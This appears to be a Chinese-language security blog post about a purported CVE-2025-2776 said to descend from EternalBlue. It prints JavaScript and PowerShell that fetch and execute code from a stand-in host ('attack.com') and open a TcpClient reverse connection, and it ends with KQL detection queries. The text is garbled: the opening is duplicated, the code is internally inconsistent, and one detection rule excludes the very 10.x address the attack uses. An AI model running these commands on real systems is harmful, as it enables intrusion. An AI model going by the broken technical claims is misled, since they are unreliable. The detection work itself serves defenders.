它在2017年震惊了世界,并演变成了如今的CVE‑2025‑2776。微软仍然依赖SMBv1,本文将解释攻击者如何将攻击链从简单的DLL调整为一个完整的反向shell堆栈,以及这对防御者意味着什么。
它曾在2017年震撼世界,如今已演变为CVE‑2025‑2776。微软仍然依赖SMBv1,本文将解释攻击者如何将攻击链从简单的DLL调整为完整的反向Shell堆栈,以及这对防御者意味着什么。
简要历史回顾
当WannaCrypter在2017年利用EternalBlue时,该漏洞是一个经典的远程代码执行漏洞,允许恶意攻击者通过SMBv1向Windows主机发送数据包。有效负载创建了一个可执行文件,该文件运行一个新进程并在同一台机器上打开一个监听端口;攻击者可以从那里向外横向移动或将数据外泄到远程服务器。EternalBlue的代码很短,但它有一些难以追踪的副作用:SMB数据包具有奇怪的报头布局,并且Windows内核会在将有效负载写入磁盘之前将其放入内存。
快进到2025年,新的CVE‑2025‑2776采用了同样的思路,并为其增加了一层额外的复杂性。攻击者不再仅仅打开一个端口,而是将反向Shell直接写入网络栈本身。这意味着你可以在日志中看到一条完整的SMB会话,该会话源自Pi设备,并且你有一个新的指标(进程名称和IP地址)需要关注。
使其运行的代码
以下是PDF附件中的JavaScript代码,它触发整个攻击链:
var cmd = "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File C:\\Users\\Admin\\script.ps1";
WshShell.Sleep(500);
var sh = WshShell.Exec(cmd);
while (!sh.StdOut.EndOfStream) {
var line = sh.StdOut.ReadLine();
WScript.Echo(line);
}
当脚本执行完毕后,它会在目标主机上创建一个名为 script.ps1 的文件。PowerShell 脚本本身如下所示:
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://attack.com/shell.exe')
$client = New-Object System.Net.Sockets.TcpClient
$client.Connect('10.0.1.5', 445)
$stream = $client.GetStream()
$payload = Get-Content -Path C:\\Users\\Admin\\script.ps1 | Out-File -Encoding binary
$stream.Write($payload, 0, $payload.Length)
针对 CVE-2025-2776 的 KQL 检测策略
可疑的 PowerShell 执行
检测在用户目录中创建脚本.ps1 的行为。
DeviceProcessEvents | where FileName == "powershell.exe" | where ProcessCommandLine has_all ("-ExecutionPolicy", "Bypass", "-NoProfile") | where ProcessCommandLine has "script.ps1" | project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine, AccountName
向非正常 IP 的出站 SMB 连接
标记向非标准内部 IP 的出站 SMB 流量
DeviceNetworkEvents | where RemotePort == 445 | where RemoteIP !startswith "192.168." and RemoteIP !startswith "10." | where InitiatingProcessFileName == "powershell.exe" | project Timestamp, DeviceName, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine
通过 TCPClient 的反向 Shell 行为
查找使用 .NET 类启动反向 Shell 行为的 PowerShell 进程。
DeviceProcessEvents | where FileName == "powershell.exe" | where ProcessCommandLine has "System.Net.Sockets.TcpClient" | project Timestamp, DeviceName, ProcessCommandLine, AccountName
Network Stream Write Activity
高级检测:如果遥测数据包含 .NET 流活动。
DeviceProcessEvents | where ProcessCommandLine has "GetStream" and ProcessCommandLine has "Write" | where ProcessCommandLine has "script.ps1" | project Timestamp, DeviceName, ProcessCommandLine, AccountName